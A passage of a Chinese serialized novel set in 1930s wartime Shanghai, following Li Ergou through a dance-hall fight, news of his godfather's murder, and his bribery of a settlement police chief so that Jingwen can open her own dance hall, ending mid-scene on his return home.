宋若楠扑入李二狗的怀抱,哭得梨花带雨。 “二狗,其实我是爱你的,可一想到你要离开上海,我的心就很痛很痛,我真的不能一个人生活。” 李二狗只是拍了拍她的后背,并没有出言安慰。 她的选择也许不那么高尚,但自己的行为又何尝道德呢? 他没有资格怨她。 生在这样一个乱世,好好活下去才是最重要的! 什么爱情、道德、尊严,在生存面前根本不值一提! 李二狗知道自己和宋若楠的缘分只能到此为止了。 李二狗待在公共租界里,享受着齐人之福。 倒是静雯,前半生一直在忙忙碌碌,这一闲下来,倒显得有些不适应。 在两人温存之后,静雯提出了自己心中酝酿已久的一个二次创业计划。 “二狗,我想在租界里面开一家歌舞厅,名字还叫百乐门大舞厅,你觉得怎么样?” “开舞厅?这个乱世还开什么舞厅?谁还有心思唱歌跳舞?” 静雯笑了,她笑李二狗的单纯和自以为是。 她没有直接反驳,只是笑了笑,神秘地说道:“今天晚上我带你去一个地方。” 晚上,静雯带着李二狗来到一家霓虹闪烁的歌舞厅门口,门前车水马龙、人声鼎沸,一派歌舞升平的景象。 李二狗有些难以置信地看着静雯,竟一时间不知道该说些什么。 此刻,他才深刻领会到商女不知亡国恨,隔江犹唱后庭花的无奈。 “二狗,这没什么好奇怪的,越是动荡的年月,大家越需要一个宣泄情绪的地方,更何况,租界里面有大量的外国人,他们也需要娱乐,其实中日这场战争和他们并没有什么关系。” 李二狗愤懑地说道:“这可能就是古人口中所谓的醉生梦死吧!” “别管什么醉生梦死了,咱们先进去看一看。” 静雯挽着李二狗进入了歌舞厅。 舞厅内灯红酒绿、靡靡之音不绝于耳。 “这个歌舞厅我之前来过两次,无论从装潢还是档次都很一般,但生意却非常好。你看台上唱歌的那个歌女,这要放在咱们以前的百乐门大舞厅,她连上台的资格都没有。” 李二狗顺着静雯手指的方向看去,一个描眉画眼的庸俗女人正在舞台上搔首弄姿。 “夜上海,夜上海,你是个不夜城,华灯起,车声响,歌舞升平……” “静雯,你想过没有?这歌舞厅开起来容易,可想经营下去却并不容易,毕竟咱们在上海人生地不熟的……” “我知道,所以才一直没开,这不等着你来拿主意吗?我知道你的主意最多了。” “此事还得从长计议,好久没和你一起跳舞了,咱俩去跳一支舞吧?” 静雯知道,李二狗有心思跳舞,说明他心中已然有了主意,这个男人总是这么令人安心。 她夸张地做了一个请的手势,玩笑道:“乐意奉陪!” 两人手牵着手进入了舞池。 第696章 静雯遭遇性骚扰 “啊!” 正在跳舞的静雯突然发出一声尖叫,触电般躲到李二狗身后。 “你怎么了?” “他……他摸我屁股!” 李二狗顺着静雯手指的方向,看到旁边一个肥胖的男子正不怀好意地看着他们。 “是他吗?”李二狗指着那名男子向静雯确认道。 “就是他!” 死胖子不仅没害怕,反而有一种被人当众揭穿的刺激感。 他眯缝着一双老鼠眼,发出一阵淫笑。 “小姐,你可不要血口喷人啊,你哪只眼睛看到我摸你屁股了?难道你屁股上长了眼睛不成?” “哈哈哈……” 人群中顿时发出一阵哄笑,大家都翘首以待,希望上演一出满足他们卑劣好奇心的戏码。 静雯没想到这个死胖子做了坏事不仅不以为耻,反而以此为荣,她被气得浑身发抖。 “你……你……明明就是你摸的,刚才只有你在我身后。” 死胖子乜斜着嘴巴,轻佻地说道:“我在你身后就是我摸的吗?你得拿出证据来证明是我摸的!我是喜欢站在女人身后不假,但我可不喜欢只摸女人屁股!哈哈!” 静雯被羞辱的满脸通红,一向伶牙俐齿的她竟不知道该如何反驳这个无耻的男人。 “你……你无耻!” “我是无耻,可你能把我怎么样?你有证据吗?我还说你摸我屁股了呢。” “啪!砰!哐!” 李二狗突然以迅雷不及掩耳之势,一拳一掌一脚就把把这个死胖子打倒在地。 死胖子躺在地上,只感觉鼻腔里一阵温热,他伸手一摸,满手的鲜血。 “出血了!”他大声朝门卫喊道:“快来人!快来人!” 刹那间,两个彪形大汉从门外窜到舞厅里。 “大哥,怎么了?” 这个死胖子不是别人,正是这家舞厅老板的小舅子汪怀德。 他是这一带游手好闲的地头蛇,仗着手下有几个身强力壮的彪形大汉,在舞厅里横行霸道、恃强凌弱,经常在舞池里干些揩油的勾当。 被拂了面子的他脸色铁青,腆着滚圆的肚皮,粗短的手指狠狠一指,厉声喝道:“给我废了他!让这个不知天高地厚的小子,知道老子的厉害!” 话音未落,两名身高近一米九的壮汉冲向李二狗。 二人膀大腰圆,肌肉虬结,满脸横肉,眼神凶悍骇人,一看就不是善茬。 周围跳舞的宾客吓得瞬间四散躲闪,喧闹的舞厅骤然安静下来,所有人都屏住呼吸,以为瘦弱的李二狗今天必定要吃大亏。 面对扑面而来的攻势,李二狗神色淡然,不见一丝一毫的慌乱。 自幼习武、历经风雨的他,此刻眼神沉稳锐利,身形挺拔如松。 “二狗,小心啊!” 静雯知道李二狗的厉害,她只是出言提醒,并不感到害怕。 李二狗微微一笑,把静雯往身后一推,说道:“你往后一点,别溅你身上血。” 左边那个壮汉抡起砂锅大的拳头,带着呼啸的风声直冲李二狗的面门,力道刚猛霸道。 李二狗只是微微一侧身便轻巧地避开,同时手腕顺势翻转,精准地扣住对方的手腕,借着冲力微微一拧。 只听一声凄厉的惨叫声骤然响起,壮汉手臂脱臼,庞大的身躯轰然砸在木质地板上,疼得他浑身抽搐,躺在地上再也爬不起来。 右侧的壮汉见状怒火中烧,抬脚狠狠地踹向李二狗腰腹,招式凶狠刁钻。 李二狗脚下生根,重心稳如磐石,抬手精准格挡,随即一记利落的肘击精准地打在对方的胸口上。 一声沉闷的撞击声过后,壮汉口中闷哼一声,胸口剧痛难忍,气血翻涌,踉跄着后退数步,身体重重地摔倒在地,挣扎几番依旧无法起身。 短短数十秒,两名凶悍的彪形大汉尽数被李二狗轻松打趴在地上,他们躺在地上哀嚎不止,彻底失去了战斗力。 汪怀德瞬间变得脸色惨白,嚣张气焰荡然无存。 他从未见过身手如此凌厉之人,他的双腿止不住发软,转身便想逃窜。 李二狗岂能让他逃走,他快步上前,一步拦住了他的去路,抬手便是几记干脆利落的耳光。 清脆的巴掌声在寂静的舞厅里显得格外刺耳,一下又一下,狠狠地落在汪怀德肥硕的脸上,把他的嚣张气焰彻底打没了。 不过片刻功夫,死胖子原本油腻臃肿的脸庞高高浮肿起来,青紫交错,双眼肿成两条细缝,鼻头通红流血,彻底变成了狼狈不堪的猪头模样。 剧痛与恐惧彻底击溃了汪怀德的心理防线,他再也没有半点嚣张气焰,扑通一声重重跪倒在冰冷的地板上。 “好汉饶命!好汉饶命啊!” 李二狗最痛恨这种欺软怕硬之辈,值此国难当头,他们一身的力气不去杀鬼子报效国家,却只想着欺负自己的同胞。 这样的人,不给他们一点教训,以后肯定还会继续为非作歹! “马上给这位小姐磕三个响头乞求她的原谅!否则老子立马把你扔进黄浦江里喂老鳖!” 汪怀德早已吓破了胆,此刻他根本顾不得要不要脸。 在所有人的注视下,他低着头,姿态卑微而又狼狈,缓缓地挪到静雯面前。 知晓自己彻底招惹了不该惹的人,汪怀德不敢有半点懈怠,他挺直身子,重重地对着静雯磕了三个结结实实的响头。 三声沉闷的磕头声清晰响起,每一下都用力十足,额头磕碰在地面上泛着红晕,尽显求饶的诚意。 “我错了!我有眼无珠,不该冒犯姑奶奶,不该肆意生事!求二位高抬贵手,饶我一次吧!”汪怀德的声音颤抖着,带着浓浓的哭腔,不停地俯首认错。 李二狗冷眼看着他卑微求饶的模样,目光冷冽,沉默片刻之后,才淡淡地开口说道:“记住今日的教训,往后安分守己,不准再仗势欺人,否则,老子见你一次,打你一次!” 得到饶恕的汪怀德如蒙大赦,他连连跪在地上磕头道谢,不敢再有半分造次。 第697章 他乡遇故知 舞厅众人看着眼前发生的一幕,无人敢出声,不过心中皆暗暗敬佩李二狗这一身高强的武艺。 喧嚣的霓虹依旧闪烁着,只是这浮华的舞厅之中,已然立起了善恶分明的规矩。 那就是谁的拳头硬谁就有话语权! “好,好,好!真是好身手啊!” 一个留着胡须的男子拍着巴掌正站在二楼楼梯上俯视着舞厅。 汪怀德听到熟悉的声音,立马又恢复了嚣张的气焰,刚刚他被李二狗高超的武艺镇住,一时竟忘了这里是自己姐夫的地盘。 他马上从地上爬起来,快步跑向楼梯上的男子。 “姐夫,这小子来砸场子,还打我!你可得替我做主啊。” 这名被汪怀德叫作姐夫的男子正是这家歌舞厅的老板章作霖。 章作霖手里夹着一根点燃的雪茄,边走下楼梯边说道:“什么人这么大胆子,敢在我的舞厅闹事?活得不耐烦了吗?” 舞厅内的霓虹灯不停地闪烁着,忽明忽暗,李二狗依稀觉得这个男人有些面熟。 “姐夫,这小子敢到舞厅闹事,咱们一定要给他一点颜色瞧瞧,否则他不知道马王爷有几只眼。” 汪怀德是什么德性,章作霖心中一清二楚。 但他毕竟是自己的小舅子,这里又是自己经营的舞厅,打狗还得看主人,他此时要是不表达一下自己的态度,以后还怎么经营这个人员鱼龙混杂的舞厅。 “来人呐!” 章作霖突然大喝一声,数个身穿黑色西装的男子出现在他身后,他们腰间鼓鼓囊囊,很显然,腰里都别着家伙。 汪怀德站在章作霖身旁,感觉底气壮了许多,他对着李二狗狞笑道:“我今天倒要看看是你的拳头硬,还是老子的枪子硬,都给我上!” “章叔叔,是你吗?我是李二狗啊。” 章作霖愣住了,李二狗?难道是自己结拜兄弟吴有德的干儿子李二狗? “你是二狗?” “是我啊,章叔叔,没想到在这里见到你。” 原来章作霖是吴有德的结拜兄弟,前些年他到省城拜访吴有德的时候和李二狗见过两面,当时两人一见如故、相谈甚欢、相见甚晚,都给彼此留下了深刻的印象。 “贤侄啊,没想到一别多年,咱爷俩竟在上海碰见了,快,咱们到楼上说。” 汪怀德彻底懵逼了! 刚刚痛打自己的小子竟然是自己姐夫的侄子,那自己岂不是他的舅舅? 外甥打舅舅?天打雷劈啊! 可他和谁讲理去? 章作霖拉着李二狗的手直奔二楼,静雯没想到这家舞厅的老板竟然是李二狗的干叔叔,这回自己开舞厅的事算是十拿九稳了。 来到章作霖的办公室,看着李二狗年轻英俊的脸庞,章作霖感叹不已。 “章叔叔,我记得你以前在南京,怎么如今到上海来发展了?” “哎,此事说来话长啊,来,咱们坐下慢慢说。” 章作霖看着李二狗身旁的静雯,觉得她十分眼熟。 “这位小姐看着面熟,以前是不是在吴氏企业任职?” 静雯忙笑道:“章叔叔,您真是好记性,我以前帮着吴爷打理生意。” 一提到吴有德,章作霖突然变得伤感起来。 “哎,如果我吴大哥还活着那该多好啊!” 章作霖此话一出,犹如一个晴天霹雳,李二狗顿时瘫坐在沙发上。 尽管此前他已经做好了无数次的心理准备,可当亲耳听到吴有德不在人世的消息,还是令他无法接受。 “二狗,你难道还不知道?” 章作霖看到李二狗的表现,不由得吃了一惊。 李二狗深吸一口气,缓缓说道:“这几年我一直没有干爹的消息,我也听到了很多传闻,但一直没有确切的消息,章叔叔,你的消息准确吗?” “千真万确,这已经是三年前的事情了。二狗,人死不能复生,你节哀顺变吧。” 李二狗从沙发上艰难地站了起来,他上前握住章作霖的手。 “章叔叔,干爹的墓在什么地方?我还未向他老人家尽孝,他就……” 章作霖叹息一声,也是红了眼眶。 “二狗,有件事我必须得告诉你。” 见章作霖说得如此郑重,李二狗心里“咯噔”一下,急忙问道:“章叔叔,您说,什么事?” “当年吴大哥是在香港遇害的,遇害后,他的尸首一直没有找到!听说,宋先生安排人在香港的一处公墓为他建了一个衣冠冢。” 李二狗心痛的在滴血,没想到,一生显赫的吴有德,死后竟连尸首都没找到。 “到底是什么人害死了我干爹?我一定要为他老人家报仇!” 章作霖皱着眉头,想来内心也是十分难过。 “不知道,可能是国民党的特务,也可能是日本特务。” 李二狗突然感觉有一团温热的东西堵在胸口,他脸憋得发紫,几乎难以呼吸。 静雯看着李二狗的样子,顿时吓坏了。 她一边哭一边安慰道:“二狗,二狗,你要想哭就哭出来吧,可千万别憋着。” 李二狗的身体剧烈地起伏着,在某种意义上来说,吴有德是自己的贵人,也是自己的恩人,没有他就没有自己的今天。 可如今吴有德就这样不明不白地死去,自己想为他报仇,都不知道该去找谁! 十几分钟之后,李二狗才慢慢缓过气来,他感觉自己的身体仿佛被抽干了一般。 章作霖没想到李二狗对吴有德这个干爹竟有如此感情,他感动不已。 “二狗,人死不能复生,你要保重自己的身体啊。” 李二狗流着泪说道:“章叔叔,我一定要查明真相,为干爹报仇!” “好小子,吴大哥果然没有看错人!走,咱爷俩去喝一杯,一醉方休。” 李二狗在静雯的搀扶下,缓缓站起身来。 “章叔叔,今天情况特殊,我实在是喝不下,我明天晚上再专程来拜访您,到时候一定好好陪您喝一杯。” 李二狗如此说,章作霖便不好再作挽留。 “好,二狗,明天晚上我在这里等你。” 第698章 我没有证据 李二狗和静雯离开舞厅之后并没有急于回家,而是沿着苏州河散心。 苏州河北岸已被日本人占领,北岸的建筑千疮百孔,岸边布满了铁丝网,只有稀稀疏疏几处昏暗的灯光。 南岸是公共租界,灯红酒绿、歌舞升平,深夜依然是人来人往,这里依然是东亚最繁华的城市。 两人沉默了一会儿,静雯忍不住问道:“二狗,你觉得到底是什么人杀了干爹?” 其实李二狗也一直在思考这个问题。 按照章作霖的说法,吴有德是三年前在香港遇害的。 那时候,吴有德是应宋先生的邀请参与组建一个新型的政党,按照常理推测,他和日本人并不会产生什么直接冲突,日本特务没有谋杀他的理由。 倒是他们组建的这个新型政党和国民党之间存在着不可调和的矛盾。 南京国民政府惧于宋先生在中国的威望,并不敢直接予以取缔或者阻止,他们只能暗中破坏。 在上海动手,多有不便,所以他们选择在吴有德去香港出差的时候动手! 香港是英国人的地盘,多方势力盘根错节,即使吴有德出事,也不会联系到国民党特务头上。 李二狗分析,刺杀吴有德的很可能是力行社香港站的特务,或者是国民党内部的其他特务组织。 但这只是李二狗的主观推测,他并没有任何证据。 “这个目前还不好推测,不过我一定会查出凶手,替干爹报仇!” 说到这,李二狗再次泪流满面,他没想到当日和吴有德一别竟成了人生永别。 子欲养而亲不待,人生最痛苦的事情莫过于此。 静雯也不知道该如何安慰李二狗,便挽着他的胳膊,把头轻轻地依靠在他肩膀上。 两人回到家中的时候已是满天繁星。 第二天,李二狗来到张公馆找到宋若楠。 宋若楠见到李二狗微微有些吃惊,她以为李二狗再也不会搭理自己了。 “二狗,我们去我房间说。” 李二狗不是一个小家子气的男人,他并不怨恨宋若楠。 两人来到宋若楠的房间,刚关上房门,她便抱住了李二狗,在他脸上一阵狂吻。 李二狗没主动但也没有拒绝,宋若楠的确是一个很有情趣的女人,李二狗甘之如饴。 亲热了一番之后,宋若楠问道:“二狗,你原谅我了是吗?” 李二狗笑了笑,他虽然很喜欢宋若楠,但其实在他内心深处,他并不期望宋若楠跟他走。 他能力一般,水平有限,实在是无法照顾到所有的人。 “若楠,我真的没有怨恨你,你应该有自己的生活。” “二狗,你不怨恨我就好,以后我们还能见面吗?” “有缘自会相见。” 宋若楠眼泪汪汪地看着李二狗。 “你要离开上海吗?” “是的,这两天我就要离开上海。” 李二狗不能待在上海,这本身就是宋若楠不愿意跟他走的重要原因,她早有思想准备。 “等你下次再来上海的时候,会来看我吗?” 李二狗捏了捏她粉嫩粉嫩的脸颊,笑道:“我当然会来看你。” “那就好,我等你。” “若楠,还有一件事情得麻烦你一下。” “什么事?” “麻烦你给张金荣说一声,就说我要回老家,不能给他开车了。” 宋若楠当初就不理解李二狗为何做出那样的选择,就如同现在也不明白他的选择一样。 “好吧,我会和他说的。” 宋若楠一直抱着李二狗不松手,想到马上就要分别,两人忍不住又亲热了一番。 离开张公馆之后,李二狗来到法租界。 力行社上海站因为成功刺杀竹田宫,刚刚得到总社嘉奖,徐青霞顺利成为新一任上海站站长。 “二狗,这次能如此顺利地完成刺杀任务,多亏了你,我都不知道该怎么感谢你了。” “咱们之间还需要说感谢吗?再说,杀日本鬼子是咱们每个中国人义不容辞的责任,这是我应该做的。” 徐青霞觉得,自从上次两人长谈之后,李二狗的思想状况发生了明显的变化,他越来越有共产党人的模样。 “二狗,想过加入我们吗?”徐青霞突然问道。 “你们?你是说力行社?” “不是力行社,是共产党,我可以做你的入党介绍人,你加入后,我们便可以并肩作战,消灭日本鬼子。” 徐青霞的话的确很有吸引力,但目前他并没有加入的打算,江东的那些兄弟们离不开他,仙人洞镇的百姓也离不开他。 “青霞,也许有一天,我们会并肩战斗,但现在还不是时候。” 徐青霞微微有些失望。 “你还是不信任我们是吗?” “不是不信任,是还不够了解。其实不加入你们,照样也可以打日本鬼子!” 徐青霞了解李二狗,没有人可以改变他的决定,他就是这么一副狗脾气。 “二狗,我相信总有一天你会加入我们,期待和你并肩作战的那一天。” 她投入李二狗的怀抱,两人免不得亲热一番。 “青霞,有件事我想请你帮帮忙。” “什么事?我一定帮。” “我有个干爹叫吴有德,三年前他在香港遇害,而且有人刻意隐瞒他遇害的消息,我想让你帮着打听一下他到底是怎么遇害的?” 徐青霞经过这几年在力行社的历练,早已有了洞若观火的能力。 “你怀疑是力行社香港站所为?” 李二狗没想到徐青霞的洞察力如此犀利,看来他之前还真是小瞧她了。 “这只是我的猜测,至于到底是不是香港站所为,我没有证据。” “好,我会想办法帮你查明真相的。” “尽力就好,千万不要连累你。” 徐青霞莞尔一笑,李二狗时不时的关心总是令她情难自已。 “我心里有数。” 李二狗本来打算去找孙佛海,通过他结识一些上海青帮的大佬,以便于在公共租界开设舞厅。 但想到晚上要去拜访章作霖,李二狗现在并不清楚章作霖的底细,他打算和章作霖谈完之后再做进一步的打算。 第699章 巴尔达卡雪茄 天色彻底黯淡下来,公共租界里的灯一盏一盏地亮开。 街上人来人往,到处都是舞厅传来的乐曲声,透着这座城市孤岛里独有的热闹。 按照之前的约定,李二狗和静雯一起走进了夜上海大舞厅。 章作霖已经提前到了,单独在二楼的豪华包厢里坐着等他们。 推开包厢门,屋里很安静,布置得很气派。 章作霖坐在沙发上,神态从容,一看就是在上海租界扎根多年、很有分量的人物。 静雯跟着走进去,手里提着两个礼盒。 李二狗先笑着开口说话道:“章叔叔,我们过来看您,带了点小礼物,您别嫌弃。” 李二狗刚说完,静雯便把两盒木质包装的巴尔达卡雪茄,轻轻摆在了章作霖面前的桌子上。 章作霖低头看了一眼盒子,眼神里明显愣了一下。 他在上海混迹多年,见过的好东西不少,自然认得这种雪茄。 巴尔达卡雪茄是市面上最好的一类,平时根本很难见到。 放在以前太平年月,有钱都不一定能买到,更别说现在是战乱时期。 水路陆路都不通,物资紧缺得厉害,这种顶尖货基本属于绝迹的状态。 章作霖年轻的时候有幸抽过一次,味道一直记在心里,这些年他到处找,再也没碰到过。 他没想到李二狗出手这么大方,一拿就是整整两盒。 章作霖抬眼看向李二狗,嘴上还是客气地推辞道:“二狗,你们来做客就好,还带这么贵重的东西,太见外了。” 李二狗一听这话就明白,章作霖是懂行的,知道这份礼物的分量。 他心里很稳,说话也很自然,没有刻意讨好,也没有半点拘谨。 “章叔叔,您是长辈,我一直把您当成自家长辈看待,和我干爹一样。这点东西不算什么,是晚辈一点心意。您先尝尝,要是合您口味,我后面再给您送。” 别人听着只是一句客套,只有李二狗自己心里清楚,他很早之前就预料到局势会乱。 战争还没打响的时候,他就悄悄囤了一大批高档烟酒和稀缺好物。 他很明白一个道理,乱世里钱不一定管用,但这些上层人物稀罕、又不好弄到的东西,最能拉近距离。 想要结交有地位的人,投其所好永远是最稳妥的办法。 章作霖听着李二狗说话,心里格外舒服。 他这下彻底理解了,为什么吴有德会认李二狗当干儿子,还把自己一辈子攒下的家业都交到他手里。 这个年轻人年纪不大,但是人情通透,说话办事让人挑不出一点毛病,很会做人,也很会来事。 再想到吴有德留下的那些家底,章作霖再也不敢把李二狗当成普通后生看待,心里实打实高看了他好几眼。 沉默片刻,章作霖随口问道:“二狗,你现在主要在做什么生意?” 李二狗心里清楚,对方这是想摸底,想看看自己的真实底子。 他这个人做事向来谨慎,不熟悉的人,他不会随便交底。 眼下他对章作霖的来路、立场、人脉还没摸透,没必要把自己所有事情都说出去,免得给自己惹麻烦。 他语气热情地回答道:章叔叔,我没做什么买卖,就在江东老家做点小生意,混口饭吃。” 章作霖在江湖上摸爬滚打一辈子,什么样的人都见过,自然不可能真的信这番话。 吴有德留下的产业有多庞大,圈内人多少都听说过。 那种家底,几辈子都吃不完,怎么可能只在家乡做点小生意。 他听得出来,李二狗是刻意低调,不想露底。 但他没有拆穿,只是顺着话题继续问道:“现在日本人打得很凶,一路推进得很快,看样子不出多久,大半片中国都要被占了。我记得江东早就沦陷了,你老家都不安全了,有没有打算留在上海发展?只要你留在上海,咱们爷俩联起手来一起做事,在租界里基本没人能压得住咱们。” 一旁的静雯悄悄抬眼看了下李二狗,她心里很希望李二狗能留下来。 两个人一直聚少离多,她每天都在盼望着,这种分开熬日子的滋味,她早就受够了。 只要李二狗愿意留在上海,她就能天天陪着他,不用再日夜牵挂。 只是她太了解李二狗。 李二狗做事从来不是看眼前,他想得很远,每一步都算得清清楚楚,一旦做了决定,谁都劝不动。 李二狗心里自有盘算,他现在不可能离开江东。 江东有他亲手拉起来的上千人的队伍,还有利润极高的药丸生意。 这两样,是他在乱世里安身立命的根本。 没有这些底子,他就算留在上海,也是无根无凭,任人拿捏。 根基不稳之前,他绝不会轻易挪窝。 他对着章作霖笑着回话,语气客气,态度却很坚定。 “章叔叔,我心里很想跟着您做事,只是现在时机还不成熟。江东那边一堆事离不开我,暂时走不开。等后面局势稳一点,我一定来上海投奔您,到时候还要麻烦您多照顾。” 章作霖听得出他话里的意思,是委婉拒绝,也就不再强行挽留。 江湖上打交道,很多话点到为止,没必要说得太透,也没必要逼得太紧。 他哈哈笑了两声,就此揭过了留下来的话题。 静雯心里微微失落,知道李二狗还是要走。 但她很快稳住情绪,没有忘记今天过来的正事。 趁着气氛正好,她主动开口道:“章叔叔,我们今天过来,还有件事想请您帮帮忙。” 章作霖很随和地说道:“大家都是自家人,有事直接说就好。” 静雯慢慢说明来意。 “以前在省城的时候,我一直忙着替吴爷做事,天天忙个不停,早就习惯了那种日子。自从来到上海,天天闲着没事干,心里空落落的,很不自在,就想找点事做。” 章作霖问道:“那你想做什么,有想法了吗?” “我之前在省城开过歌舞厅,熟门熟路,想着在租界里也开一家,自己踏踏实实经营。” 章作霖一听便明白了她的想法。 第700章 天上掉馅饼 想要在上海公共租界干事业,尤其是鱼龙混杂的娱乐场所,最麻烦的不是本钱和装修,而是打点好各方关系。 上面如果没有人罩着你,随便哪个环节都能把你卡死,即使你开业了,也会三天两头的出问题。 他当即很痛快地应下来。 “这事儿简单。你先看好门面地址,剩下所有需要协调的关系、手续,我来帮你处理。实在不行,我这家舞厅你要是看得上,直接交给你经营也可以。” 静雯心里很感激,但她有自己的想法。 她不想再给别人打工,只想拥有一间完全属于自己的舞厅,踏踏实实做自己的事业。 她连忙说道:“谢谢章叔叔,我已经提前看好位置了,就在江西路那边,地段很好,很适合开舞厅。” 章作霖点点头说道:“江西路那里确实没问题,那块地段繁华,人流量足,很适合做娱乐生意。我和租界的华总探长姜大伟交情很深,改天我给你们牵个线,认识一下,到时候也好有个照应。” 有了这句话,静雯一下子放下心来,脸上露出笑意。 “那太好了,谢谢章叔叔!我明天可以进场装修吗?” 章作霖稍微想了一下,安排得很稳妥。 “不急这一天。明天上午我带你们亲自去见姜大伟。有他在背后点头撑腰,别说一家舞厅,你开十家八家,在租界里都没人敢找你麻烦。” 一旁的李二狗一直安静听着,心里默默掂量着其中的利害。 他清楚,能在公共租界坐稳华总探长的位置,绝对不是普通人。 手里有权、有人、有势力,黑白两道都能说话。 章作霖愿意主动牵线,足以说明两人的关系不是普通交情。 李二狗常年在外周旋,最懂人际交往的门道。 他一直觉得,和高层人物打交道,其实比和底层小人物打交道轻松得多。 底层人琐事多、贪心杂、顾虑多。但身居高位的人,想要的东西很简单,无非是面子、人情、到位的礼数。 绝大多数关系,只要你懂事、大方、懂得投其所好,基本都能处得下来。 他不想盲目上门求人,凡事都要提前摸底,做到心里有数。 他看向章作霖,语气诚恳地问了一句:“章叔叔,姜华总这边是什么来历,您跟我说一声,我也好提前准备,免得失礼。” 章作霖越发觉得这个年轻人靠谱。 遇事不莽撞,先抓关键,先做准备,比很多老江湖都稳。 他耐心跟李二狗细说道:“这个姜大伟可不简单。明面上,他是公共租界中央巡捕房的华总探长,管着租界治安,手里实权很大。私底下,他是上海青帮的大佬,手下人脉极广,黑白两道都吃得开。” 早年我救过他一次命,他一直记着这份情,对我一直很敬重。”章作霖补充道。 听完这些话,李二狗心里彻底踏实了。 有这层救命情分摆在前面,再加上自己的礼数到位,在租界开舞厅这件事,基本就稳了,根本不算难事。 第二天,靠着章作霖的亲自引荐,李二狗顺利和姜大伟搭上了线。 见面的时候,李二狗做事干脆利落,直接拿出六根金条当作见面礼。 这份诚意足够厚重,再加上章作霖的情面,姜大伟脸上格外好看,心里也十分满意。 两个人各有所需,一个需要本地势力保驾护航,一个看好年轻人懂事大方、值得结交,一拍即合,顺利把关系敲定下来。 静雯心里彻底踏实,满心欢喜,立刻着手安排舞厅的装修、筹备各项琐事,干劲十足。 等这边所有事情都安排妥当,没有半点疏漏之后,李二狗才对静雯开口道:“静雯,这边的事都理顺了,我这两天就要回江东了,家里还有一大堆事等着我处理。” 静雯刚刚和他温存相伴,心里正舍不得,一听他要走,立马开口挽留道:“二狗,你再多待几天吧,等舞厅开业了你再回去。” 她实在不想这么快就和他分开,但李二狗心里很清楚时间紧迫。 舞厅从装修、布置、招人、试营业到正式开业,最少要一个月时间。 江东那边队伍和生意都离不开他,他耗不起这么久。 “下次我再来上海,一定多留些日子,好好陪你。” 静雯太了解李二狗的脾气,他一旦决定的事,谁都改变不了。 她虽然心里失落,也只能点头答应。 把舞厅的所有后续事宜全部交代清楚,确认没有任何问题之后,李二狗依旧没有急着动身。 他做事向来周全,不会顾一头丢一头。 李二狗特意找到孙佛海,因为已经和姜大伟接上头,他便没有铺垫,直接对孙佛海说道:“我和姜大伟是好朋友,你想不想到公共租界当巡捕?” 孙佛海彻底震惊了,他心里纳闷,这个李二狗到底是什么人? 前几天刚刚才给上海警察局副局长张金荣当司机,现在又和公共租界的华总探长姜大伟打得火热。 姜大伟这个名字他太熟悉了,不仅是公共租界的华总探长,还是上海青帮的大佬,一个他可望而不可即的人物。 如今有了这个接近他的机会,他怎能错过? “二狗兄弟,我愿意。” 李二狗就喜欢和这样的聪明人打交道。 姜大伟的位置太高,具体的一些事情不能老去麻烦他。 李二狗打算通过姜大伟的关系把孙佛海调到公共租界当巡捕,然后再给他一点自己歌舞厅的股份,让他当舞厅合伙人。 这样大部分事情,孙佛海就完全可以摆平。 面对这种天上掉馅饼的好事,孙佛海又岂能不答应?他以后只会死心塌地地跟着李二狗。 在离开上海之前,他挨个抽空,和在上海的几个女人一一见面道别,把所有人都安抚妥当,每件小事都安排得明明白白,谁都没有落下。 把上海这边所有的人情、事务、牵绊全部处理干净,做到没有一点后顾之忧,李二狗才收拾好行装,踏上了返回江东的路途。 第701章 十天未归 李二狗从上海折腾了十几天,一路风尘仆仆,日夜兼程,一刻也不敢停歇,终于踏回了江东的地界。 上海滩再繁华热闹,终究是别人的地界,那里水太深、人太杂,处处都是算计和周旋。 只有在江东,在胡家大院,才是他真正能安心落脚的地方。 刚下车,他没有半点停歇,抬脚就往胡家大院赶。 这些日子他虽然人在上海,看似日日不停歇,可他心里压根就没有真正的松快过。 男人在外闯荡,挣再多的情面、铺再大的路子,心里最牵肠挂肚的,终究是家里最亲的人。 此刻他心里最惦记两个人,一个是温柔安稳、老老实实守着胡家大院等他回家的李素文,另一个就是性子刚烈、凡事都爱逞强的宋小曼。 李素文性子软、心思细,安分守己,从来不会惹半点是非,不用人操心。 可宋小曼不一样,这女人看着清清静静,其实心里的胆子比天都大,她有自己的主意,只要她认准的事情,八头牛都拉不回来。 现下江东被日本人占领着,城里城外风声都很紧,日伪军天天上街巡查抓人,大街小巷处处都是岗哨、特务,老百姓个个活得提心吊胆,不敢多说一句话。 李二狗人在上海,隔着千山万水,心里日日悬着心。 他太清楚宋小曼的脾性了,一个人就敢上清风山收编有上号土匪的清风集团,她的胆子实在太大了,指不定这些日子又在外头折腾什么大事。 在这样的乱世,稍有差错就是灭顶之灾,他越想心里越不踏实,归心似箭。 快到胡家大院门口时,李二狗的脚步刻意缓了下来,心里多了一些思量。 李素文日日守在大院里盼着他归来,自己一走十几天杳无音信,她心里定然熬得难受。 这要是自己直接回内院住处,李素文见着他,必然欢喜得紧,定然寸步不离地黏着自己,说什么也不会再放他出门。 可眼下他心里压着事,满心都是对宋小曼的担忧,根本没法安下心来温存歇息。 万般无奈之下,他只能先悄悄避开李素文,打算先了解清楚大院里的情况才能踏实。 大院门口值守的依旧是张二驴。 张二驴跟着李二狗已经有一段时间,他忠心踏实也很能干,就是藏不住事,心里有一点动静就全写在脸上。 他抬眼看见李二狗的那一刻,心里先是猛地一喜,眼睛瞬间亮了,可这喜色不过只在一瞬间,立马便褪去了,眉头紧紧地拧在一起,脸上堆满了慌张为难,整个人站在原地有些手足无措。 “狗哥,你可算是回来了。” 就张二驴这副损色,李二狗一眼就看出不对劲。 他闯荡乱世这么多年,什么场面没见过?底下的兄弟但凡有一点心事,大院里出半点状况,根本瞒不过他的眼睛。 看张二驴这副慌张样子,不用多想,胡家大院定然是出了什么岔子。 李二狗脸色一沉,声音严厉地问道:“二驴,别装模作样了,快说,家里是不是出什么事了?” 张二驴眼神左右飘忽,不敢直视李二狗的眼睛。 他嘴巴张了又合、合了又张,磨磨蹭蹭半天,硬是吐不出一句完整话。 “倒、倒也算不上出了大事,就是……就是我觉得有点不对劲,狗哥,你别着急,也许……也许是我想多了。” 李二狗本就焦虑,被他这般磨叽拉扯,顿时心头冒火。 乱世里过日子,生死祸福全在一瞬间,最忌讳这般吞吞吐吐。 他当即沉声呵斥道:“你他娘的有话就痛痛快快说!磨磨唧唧跟个老娘们似的,到底怎么了?” 